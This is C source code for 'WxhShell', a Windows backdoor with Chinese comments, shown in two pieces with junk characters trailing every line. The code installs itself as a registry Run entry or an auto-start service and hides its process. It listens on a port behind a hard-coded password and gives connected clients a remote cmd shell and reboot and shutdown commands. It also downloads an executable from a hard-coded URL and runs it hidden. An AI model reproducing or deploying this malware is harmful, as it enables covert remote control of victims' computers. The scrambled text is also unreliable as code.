  case 'd': { Xc[ym  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); IhzY7U)}T  
    if(Boot(SHUTDOWN)) ou0TKE9 _  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OcUj_Zd  
    else { A@o7  
    closesocket(wsh); .4]XR/I$  
    ExitThread(0); A$p&<#  
    } z#G\D5yX[*  
    break; ~ AD>@;8fG  
    } aNry> 2:  
  // 获取shell -`8@  
  case 's': { }Rz,}^B  
    CmdShell(wsh); G9Xkim Q'  
    closesocket(wsh); m?wQk:Y1  
    ExitThread(0); Q>Ct]JW&  
    break; i'<hT q4  
  } qJF'KHyU{l  
  // 退出 wdj?T`4  
  case 'x': { <e#v9=}DI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q@}SR%p  
    CloseIt(wsh); )xf(4  
    break; %UdE2D'bC  
    } x#E M)Thq  
  // 离开 Q"s6HZ"YI  
  case 'q': { Xc+YoA0Ez  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xJ<RQCW$  
    closesocket(wsh); I]n X6=j5  
    WSACleanup(); a;dWM(;Kw  
    exit(1); Yt*NIwWr  
    break; .@x.    
        } bq5ySy{8  
  } (~Bm\Jn  
  } E uO:}[  
CnuM=S:  
  // 提示信息 K'2N:.D:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j&dCP@G  
} ()j)}F#Z`  
  } ,X|FyO(p  
@[joM*U  
  return; rmBzLZ}  
} 47Vt8oyh%  
'`k  
// shell模块句柄 ommW  
int CmdShell(SOCKET sock) K?M~x&Q  
{ ThP~k9-  
STARTUPINFO si; 8Y%  
ZeroMemory(&si,sizeof(si)); sRLjKi2D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lq-F*r\/~+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; DNj<:Pdd)  
PROCESS_INFORMATION ProcessInfo; Ho}*Bn~ic  
char cmdline[]="cmd"; /T qbl^[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }^H(EHE  
  return 0; 5Bq;Vb  
} d$ o m\@  
t{UWb~"  
// 自身启动模式 RF8, qz  
int StartFromService(void) 8aQTm- {m  
{ uFmpc7  
typedef struct b i-Am/9  
{ k~;~i)Eg  
  DWORD ExitStatus; 1xtS$^APcd  
  DWORD PebBaseAddress; JoB-&r}\V*  
  DWORD AffinityMask; | #a{1Z)  
  DWORD BasePriority; 3v$n}.  
  ULONG UniqueProcessId; 9FC_B+7  
  ULONG InheritedFromUniqueProcessId; ,h%n5R$:  
}   PROCESS_BASIC_INFORMATION; +?t& 7={~  
zxs)o}8icO  
PROCNTQSIP NtQueryInformationProcess; `r&Ui%fk;0  
~eTp( XG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x!85P\sm  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S&=@Hj-  
ZH=Bm^  
  HANDLE             hProcess; zI"&g]TV5  
  PROCESS_BASIC_INFORMATION pbi; (j:[<U  
P\[K)N/1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I|bX;l  
  if(NULL == hInst ) return 0; Gn6\n'r0  
.@r{Tq,%q8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H[g i`{c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EQ"_kJ>81Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )2Q0NbDn  
6_8yQ  
  if (!NtQueryInformationProcess) return 0; N1E9w:T`  
i< imE#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /QlzWson  
  if(!hProcess) return 0; _Q\rZ l  
ZQR)k:k7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A$~H`W<yxB  
i+Ne.h  
  CloseHandle(hProcess); q}'<[Wg  
W#d'SL#5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [vBP,_Tjx  
if(hProcess==NULL) return 0; tOF8v8Hd  
kSJ;kz,_  
HMODULE hMod; "a _S7K  
char procName[255]; @G=:@;  
unsigned long cbNeeded; x5#Kk.  
[N*S5^>1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jA@ uV,w  
MD;,O3Ge  
  CloseHandle(hProcess); &H,UWtU+  
g C8 deC8  
if(strstr(procName,"services")) return 1; // 以服务启动 PHez5}T  
iN Lt4F[i  
  return 0; // 注册表启动 ),o=~,v:  
} 5^qs>k[mN  
S=L#8CID  
// 主模块 BB/c5?V  
int StartWxhshell(LPSTR lpCmdLine) o{2B^@+Vb  
{ x `%x f  
  SOCKET wsl; ^}gZ+!kA  
BOOL val=TRUE; :1UOT'_  
  int port=0; K^/.v<w  
  struct sockaddr_in door; fP;I{AiN~  
0ly6  |:  
  if(wscfg.ws_autoins) Install(); gpbdK?  
Vw.4;Zy(  
port=atoi(lpCmdLine); FAGi`X<L  
&"1_n]JO  
if(port<=0) port=wscfg.ws_port; ls "Z4v(L6  
iF:NDqc  
  WSADATA data; +5GC?cW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; EN>a^B+!  
4dz Ym+vJm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (:+Wc^0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rJp9ut'FEz  
  door.sin_family = AF_INET; 925T#%y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5}]gL  
  door.sin_port = htons(port); `]&'yt  
"|WKK}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d.>O`.Mu)}  
closesocket(wsl); )C$Ij9<A  
return 1; Py9:(fdS  
} vXSpn71Jb  
Y}\3PaUa  
  if(listen(wsl,2) == INVALID_SOCKET) { 527u d^:  
closesocket(wsl); 93.L887  
return 1;  OtZtl* 5  
} !cO<N~0*5x  
  Wxhshell(wsl); )Ps<u-V  
  WSACleanup(); grd fR`3  
#b&=CsW`  
return 0; MA 6uJT  
~a>3,v -  
} dKPx3Y'  
:' !_PN  
// 以NT服务方式启动 IxWX2yJ]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o:%;AOcl  
{ Kna@K$6{w=  
DWORD   status = 0; rG B*a8  
  DWORD   specificError = 0xfffffff; .KYDYdoS'  
^'vWv C  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,y7X>M2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (WGEX(|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H[/^&1P  
  serviceStatus.dwWin32ExitCode     = 0; 2ZxZ2?.uJ  
  serviceStatus.dwServiceSpecificExitCode = 0; DY87NS*HF  
  serviceStatus.dwCheckPoint       = 0; B an" H~  
  serviceStatus.dwWaitHint       = 0; NA$ODK -  
<U /r U9O  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rqM_#[Y?  
  if (hServiceStatusHandle==0) return; ${U H!n{  
/jU4mPb;\D  
status = GetLastError(); - :x6X$=  
  if (status!=NO_ERROR) Pv$O=N6-  
{ #/K71Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?l 0WuU  
    serviceStatus.dwCheckPoint       = 0; Nu; 9  
    serviceStatus.dwWaitHint       = 0; Z3 na.>Z  
    serviceStatus.dwWin32ExitCode     = status; erV&N,cI  
    serviceStatus.dwServiceSpecificExitCode = specificError; $O9#4A;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M[Jy?b)  
    return; !;U}ax;AF  
  } I"jub kI=Z  
y(r(q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~HX'8\5  
  serviceStatus.dwCheckPoint       = 0; aFy'6c}  
  serviceStatus.dwWaitHint       = 0; ]@ms jz'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZN`I4Ak  
}  %B#8  
{<Vw55)#0Q  
// 处理NT服务事件,比如:启动、停止 h`:gMhn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }4*~*NoQ  
{ ,xC@@>f  
switch(fdwControl) =NL(L  
{ 3{- 8n/4 k  
case SERVICE_CONTROL_STOP:  9\R+g5  
  serviceStatus.dwWin32ExitCode = 0; v$|cF'yyF=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; F)tcQO"G  
  serviceStatus.dwCheckPoint   = 0; O/f+B}W  
  serviceStatus.dwWaitHint     = 0; Ar$ Am  
  { y-:d`>b>\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >uz3 O?z P  
  } X gA( D  
  return; K~\Ocl  
case SERVICE_CONTROL_PAUSE: i"y @Aj!7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :AC(  \  
  break; !o`h*G-x  
case SERVICE_CONTROL_CONTINUE: `c_Wk] i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {X&H  
  break; ,-Yl%R.W=  
case SERVICE_CONTROL_INTERROGATE: I6 Q{ Axy  
  break; :W1B"T<  
}; 4"%LgV`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :\G`}_db'  
} xR5zm %\  
G+Zm  
// 标准应用程序主函数 k!wEPi]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #6Fc-ysk:  
{ 140_WV?7  
ygTc Y  
// 获取操作系统版本 ]AB4w+6!  
OsIsNt=GetOsVer(); @avG*Mr^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p!~V@l  
X~g~U|B@  
  // 从命令行安装 V0F&a~Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~fF;GtP  
Sa$-Yf  
  // 下载执行文件 H_7EK  
if(wscfg.ws_downexe) { 'W J3q|o/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) IdWFG?b3  
  WinExec(wscfg.ws_filenam,SW_HIDE); kt hy9<!$  
} m2PI^?|e  
`9p;LZC1K  
if(!OsIsNt) { 1ihdH1rg[  
// 如果时win9x,隐藏进程并且设置为注册表启动 [-JU(:Rh  
HideProc(); zM|Y X<  
StartWxhshell(lpCmdLine); C.9l${QU  
} QetyuhS~  
else _{YUWV50}  
  if(StartFromService()) Vqxxm&^P  
  // 以服务方式启动 =$Sd2UD  
  StartServiceCtrlDispatcher(DispatchTable); HO9w"){d$  
else nHF%PH#|o  
  // 普通方式启动 IkJ-*vI6  
  StartWxhshell(lpCmdLine); 2umgF  
96S#Q*6+R  
return 0; :5BVVa0oR  
} QNgfvy  
4Yya+[RY  
8~8VoU&  
/}$D&KwYg  
=========================================== 7 y'2  
aqN6.t  
J`d;I#R%c  
._US8  
+I r  
C7 T}:V](q  
" zqa7!ky  
FWDAG$K@0  
#include <stdio.h> C{U"Nsu+1  
#include <string.h> 'o]8UD(  
#include <windows.h> RD0=\!w*5  
#include <winsock2.h> 8(""ui 8  
#include <winsvc.h> pt=H?{06  
#include <urlmon.h> ]}0QrD  
q jmlwVw  
#pragma comment (lib, "Ws2_32.lib") *VgiJ  
#pragma comment (lib, "urlmon.lib") C0%yGLh&  
SK;c D>)  
#define MAX_USER   100 // 最大客户端连接数 qv.s-@l8  
#define BUF_SOCK   200 // sock buffer 3DS&-rN  
#define KEY_BUFF   255 // 输入 buffer Iju9#b6  
F!&$Z .  
#define REBOOT     0   // 重启 |WDMyKf6J  
#define SHUTDOWN   1   // 关机 yJ?S7+b  
q=`i  
#define DEF_PORT   5000 // 监听端口 Dt=@OZW  
KetNFwbUf  
#define REG_LEN     16   // 注册表键长度 :2(U3~3:  
#define SVC_LEN     80   // NT服务名长度 8zzY;3^h;  
B0|!s  
// 从dll定义API }GL@?kAGR5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zX}t1:nc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h3t);}Y}D9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rki0!P`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }*s`R;B|,  
 w0`8el;  
// wxhshell配置信息 #l#8-m8g)  
struct WSCFG { 'j(F=9)  
  int ws_port;         // 监听端口 F;sZc,Y,^  
  char ws_passstr[REG_LEN]; // 口令 AS'%Md&I  
  int ws_autoins;       // 安装标记, 1=yes 0=no /l1OC(hm  
  char ws_regname[REG_LEN]; // 注册表键名 ME.a * v  
  char ws_svcname[REG_LEN]; // 服务名 fv/Nf"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 dh S7}n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xY>@GSO1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rc`}QoB)R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _UGR+0'Q\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z~(3S8$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H?_>wQj&  
sFV&e->AN\  
}; xTg=oq  
h1 pEC  
// default Wxhshell configuration 5L\&"['  
struct WSCFG wscfg={DEF_PORT, "kd)dy95H  
    "xuhuanlingzhe", " `FcW  
    1, jIi:tO9G^,  
    "Wxhshell", x7ZaI{    
    "Wxhshell", #.j}:  
            "WxhShell Service", \45F;f_r6  
    "Wrsky Windows CmdShell Service", bYAtUEv  
    "Please Input Your Password: ", zv0bE?W9   
  1, 1s/548wu  
  "http://www.wrsky.com/wxhshell.exe", 6W[~@~D=  
  "Wxhshell.exe" %8{nuq+c  
    }; wl7 (|\-  
RG_.0'5=hc  
// 消息定义模块 B-UsMO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .C,D;T{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #ADm^UT^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vb`R+y@  
char *msg_ws_ext="\n\rExit."; Ake@krh>$  
char *msg_ws_end="\n\rQuit."; 75^AO>gt   
char *msg_ws_boot="\n\rReboot..."; 5D eo}(3  
char *msg_ws_poff="\n\rShutdown..."; AF\Jh+ynT!  
char *msg_ws_down="\n\rSave to "; 0TWd.+  
A<''x'\/  
char *msg_ws_err="\n\rErr!"; gy>B 5ie  
char *msg_ws_ok="\n\rOK!"; fLS].b]1N  
( 4(,"  
char ExeFile[MAX_PATH]; Kv9Z.DY  
int nUser = 0; 4i7+'F  
HANDLE handles[MAX_USER]; 49.B!DqQW&  
int OsIsNt; 5Mz:$5Tm  
1]69S(  
SERVICE_STATUS       serviceStatus; ny1;]_X_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; pZz\o  
_;M3=MTM9  
// 函数声明 ,pIh.sk7s*  
int Install(void); vb6kr?-i*  
int Uninstall(void); i&YWutG  
int DownloadFile(char *sURL, SOCKET wsh); l"-Z#[  
int Boot(int flag); o$Ju\(Y$<+  
void HideProc(void); m~0Kos%^*b  
int GetOsVer(void); Z C<+BKS  
int Wxhshell(SOCKET wsl); G>Hg0u0!,  
void TalkWithClient(void *cs); Vh{(*p  
int CmdShell(SOCKET sock); Z@(KZ|  
int StartFromService(void); TJCE6QG  
int StartWxhshell(LPSTR lpCmdLine); LUdXAi"f  
6n^@Ps  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); RdBIbm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "+E\os72|  
_iL?kf  
// 数据结构和表定义 ?N^1v&Q  
SERVICE_TABLE_ENTRY DispatchTable[] = ?4^ 0xGyE  
{ +z 4E:v  
{wscfg.ws_svcname, NTServiceMain}, F3hG8YX  
{NULL, NULL} E!_3?:[S_  
}; #a9O3C/MP  
5;+KMM:zb  
// 自我安装 ,x$^^  
int Install(void) M|NQoQ8q  
{ .$@+ / @4  
  char svExeFile[MAX_PATH]; dIfy!B"  
  HKEY key; Y_K W9T_  
  strcpy(svExeFile,ExeFile); NSM7n= *nh  
Ol~M BQs  
// 如果是win9x系统,修改注册表设为自启动 l dqU#{  
if(!OsIsNt) { pH3<QNq5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PMUW<UI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *YSRZvD<\  
  RegCloseKey(key); |nE4tN#J<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /3&MUB*z&y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0` .5gxm  
  RegCloseKey(key); Re&"Q8I.8  
  return 0; [Q+k2J_h  
    } L7hRFf-o  
  } 5vg="@O K  
} (zh[1[a  
else { tva=DS  
NBHpM}1xtU  
// 如果是NT以上系统,安装为系统服务 yzv"sd[8N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); f ,4erTBH  
if (schSCManager!=0) . P+Qu   
{ MqJ5|C.q  
  SC_HANDLE schService = CreateService t1]/Bw`j/  
  ( H8B$# .  
  schSCManager, z:4_f:70  
  wscfg.ws_svcname, { :1X N  
  wscfg.ws_svcdisp, 'ZB^=T  
  SERVICE_ALL_ACCESS, n}I?.r@e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &gPP# D6A  
  SERVICE_AUTO_START, &O^-,n  
  SERVICE_ERROR_NORMAL, Z"RgqNf  
  svExeFile, vxHFNGI  
  NULL, r! HXhl  
  NULL, X =%8*_  
  NULL, 7f4O~4.[i  
  NULL, x x4GP2  
  NULL N#2ldY *  
  ); =YTcWB  
  if (schService!=0) - Z`RKR8C  
  { 3H`{ A/r  
  CloseServiceHandle(schService); vENf3;o0  
  CloseServiceHandle(schSCManager); mf)+ 5On  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pQKSPr  
  strcat(svExeFile,wscfg.ws_svcname); QW$p{ zo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l<BV{Gl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !1fZ7a  
  RegCloseKey(key); ),-gy~  
  return 0; )Qd x  
    } |?s sHW  
  } HC/z3b;  
  CloseServiceHandle(schSCManager); !3Pbu=(cte  
} ~7U~   
} r4fHD~#l{  
c(e>Rmh  
return 1; p |1u,N  
} H#DvCw  
 RQb}t,  
// 自我卸载 @1Q-.54a  
int Uninstall(void) uINdeq7|F  
{ 0'fswa)  
  HKEY key; XS">`9o!  
kJp~'\b  
if(!OsIsNt) { Ff%V1BH[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -X~mW  
  RegDeleteValue(key,wscfg.ws_regname); Cf3!Ud  
  RegCloseKey(key); qS2Nk.e]o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z sTtSM\Ac  
  RegDeleteValue(key,wscfg.ws_regname); k%sH09   
  RegCloseKey(key); 2h'Wu qO  
  return 0; BUJ\[/  
  } `}$o<CJ  
} qfyZda0d  
} |7tD&9<  
else { Cq"KKuf  
;,C]WZ.w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R2gV(L(!!  
if (schSCManager!=0) PmRvjSIG  
{ J+J,W5t^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #uw&u6*\q  
  if (schService!=0) *L$2M?xkY  
  { Zn'tNt/  
  if(DeleteService(schService)!=0) { uI)twry]@  
  CloseServiceHandle(schService); RI0^#S_{  
  CloseServiceHandle(schSCManager); B-R#?Xn:!I  
  return 0; sa(.Anmlj  
  } `;E/\eG"  
  CloseServiceHandle(schService); M .b8 -`V  
  } 4 "HX1qP  
  CloseServiceHandle(schSCManager); 1!~cPD'F  
} Y~-y\l;Tr  
} Ve3z5d:^  
3/@z4:p0R  
return 1; -f)fiQ-<  
} FT@uZWgQ=  
M  9t7y  
// 从指定url下载文件  b.&W W  
int DownloadFile(char *sURL, SOCKET wsh) rtRbr_  
{ S3E,0%yo+)  
  HRESULT hr; xi=ApwNj  
char seps[]= "/"; pn gto  
char *token; TZAd{EZa  
char *file; G @..?>  
char myURL[MAX_PATH]; $/++afi m  
char myFILE[MAX_PATH]; _`|1B$@x  
d]pb1ECuu  
strcpy(myURL,sURL); '7-Yo Q  
  token=strtok(myURL,seps); %w*)7@,+-  
  while(token!=NULL) fkBL`[v)4  
  { hM Dd*<%l  
    file=token; ?Gki0^~J  
  token=strtok(NULL,seps); ?;XEb\Kf  
  } t'rN7.d  
kI^* '=:  
GetCurrentDirectory(MAX_PATH,myFILE); <U@N ^#  
strcat(myFILE, "\\"); [y[d7V9_o  
strcat(myFILE, file); udZOg  
  send(wsh,myFILE,strlen(myFILE),0); ;Y$>WKsV  
send(wsh,"...",3,0); &12K pEyf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _\ToA9m  
  if(hr==S_OK) sjr,)|#[  
return 0; ,50  
else !Rn6x $_  
return 1; &9p!J(C  
Z<-_Y]4j  
} %9J@##+  
{AL EK   
// 系统电源模块 n qcq3o*B  
int Boot(int flag) W)In.?>]W  
{ Ke\\B o,  
  HANDLE hToken; HTJ2D@h  
  TOKEN_PRIVILEGES tkp; 7K1-.uQ  
mL{P4a 1xf  
  if(OsIsNt) {  `Y#At3{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5Q?Jm~H9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $KiCs]I+  
    tkp.PrivilegeCount = 1; Oj5UG*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &O&HczO  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sgX!4wG&Z  
if(flag==REBOOT) { 2bp@m;g$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) LL^KZ-  
  return 0; K4c:k; V  
} Jz}nV1G(jz  
else { #DTKz]i?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !eLj + 0  
  return 0; H_DCdUgC'  
} K p3}A$uV  
  } tIsWPt]Y  
  else { Zd*$^P,|  
if(flag==REBOOT) { };/QK*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  zUfq.   
  return 0; /`*{57/3  
} =}^NyLE?  
else { ,XD" p1(|G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *'< AwG&  
  return 0; M!UTqf7XL  
} 2Je $SE8  
} pP. _%5  
d7OygDb<  
return 1; MMM tB6  
} 7L{1S v  
`ONjEl  
// win9x进程隐藏模块 m>@hh#kBg  
void HideProc(void) AM}R#86  
{ 4xy\  
rf.pT+g.P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \Pg~j\;F]  
  if ( hKernel != NULL ) 3nq?Y8yac  
  { +)Z]<O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fE#(M+(<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); diq}\'f  
    FreeLibrary(hKernel); D'"  T'@  
  } BuJo W@)  
NB-dlv1  
return; oxwbq=a6yV  
} [2%[~&4  
vl"w,@V7  
// 获取操作系统版本 '0<d9OlJ}  
int GetOsVer(void) t&r.Kf9Z\  
{ $^Fl*:6  
  OSVERSIONINFO winfo; p=8Qv  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *;7y5ZJ  
  GetVersionEx(&winfo); 'solCAy  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yk+ 50/L  
  return 1; 88g3<&  
  else i]JTKL{\q  
  return 0; 8:ubtB  
} Kb.qv)6i*  
D!<F^mtl  
// 客户端句柄模块 wu41Mz7  
int Wxhshell(SOCKET wsl) vwCQvt  
{ rPV Q#iB  
  SOCKET wsh;  (I[_}l  
  struct sockaddr_in client; 615Ya<3f8  
  DWORD myID; ,6)N.  
H?$dnwR  
  while(nUser<MAX_USER) xEb>6+-F@  
{ #8$?# dT  
  int nSize=sizeof(client); Y"Cf84E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @= -(H<0  
  if(wsh==INVALID_SOCKET) return 1; P"YdB|I  
YW}$eW*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x.SfB[SZ  
if(handles[nUser]==0) R+ * ; [  
  closesocket(wsh); pwFp<O"  
else ewDYu=`*  
  nUser++; -^_m(@A<~  
  } "F F$Q#)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _jWs(OmJ  
E$ d#4x  
  return 0; 5E!C?dv(z  
} &5 CRXf  
5ut| eD`3  
// 关闭 socket L*@`i ]jl  
void CloseIt(SOCKET wsh) 3Cf9'C  
{ t^s&1#iC  
closesocket(wsh); fPR_ 3qgQ  
nUser--; @Jt$92i5PS  
ExitThread(0); -JW~_Q[  
} S}6Ld(_  
 5NU{y+  
// 客户端请求句柄 Ln"wj O ,  
void TalkWithClient(void *cs) ;kFD769DLw  
{ ClG%zE&i  
2qMiX|Y  
  SOCKET wsh=(SOCKET)cs; wQ_4_W  
  char pwd[SVC_LEN]; ~#_~DqbMZ5  
  char cmd[KEY_BUFF]; :@A&HkF  
char chr[1]; Y },E3<  
int i,j; I!x.bp~V!  
u4x-GObJM  
  while (nUser < MAX_USER) { L2}\Ah"[  
/6x&%G:m#  
if(wscfg.ws_passstr) { 8 Rx@_   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6h 0qtXn-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _`$Q6!Z)l  
  //ZeroMemory(pwd,KEY_BUFF); ?&B8:<qy;L  
      i=0; 6'qkD<  
  while(i<SVC_LEN) { ;pnF%co9  
6$u/N gS  
  // 设置超时 coP->&(@U#  
  fd_set FdRead; +m=b "g  
  struct timeval TimeOut; %(CC  
  FD_ZERO(&FdRead); f56yI]*N=<  
  FD_SET(wsh,&FdRead); $?= $F  
  TimeOut.tv_sec=8; ^q7V%{54  
  TimeOut.tv_usec=0; p`tz*ewC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %~rEJB@{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3efOgP=L  
Cxf K(F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~7m`p3W@  
  pwd=chr[0]; ? <?Ogq"<  
  if(chr[0]==0xd || chr[0]==0xa) { XlppA3JON|  
  pwd=0; g~lv/.CnA+  
  break; "?"  :  
  } -&+:7t  
  i++;  3Y#Q'r?  
    } `3TR`,=  
7B?Y.B  
  // 如果是非法用户,关闭 socket Lg:1zC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Wu>]R'C  
} eG=d)`.JaV  
P1#g{f  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5Xq+lLW>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2/-m-5A  
Yuv(4a<M%  
while(1) { tXE/aY*I  
dOjly,!  
  ZeroMemory(cmd,KEY_BUFF); pF;.nt)  
b 74 !Zw  
      // 自动支持客户端 telnet标准   ;-db/$O  
  j=0; d$ouH%^cGu  
  while(j<KEY_BUFF) { &RR;'wLoQT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WQ|Ufl;  
  cmd[j]=chr[0]; $^x=i;>aK.  
  if(chr[0]==0xa || chr[0]==0xd) { Fh~9(Y#  
  cmd[j]=0; *5'8jC"2g  
  break; YPK@BmAdE  
  } rZKh}E  
  j++; -l[H]BAMXy  
    } K,4Ig!  
"x$@^  
  // 下载文件 ,&[o:jTk  
  if(strstr(cmd,"http://")) { I4Do$&9<D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l\_!oa~  
  if(DownloadFile(cmd,wsh)) ?1Nz ,Lc$  
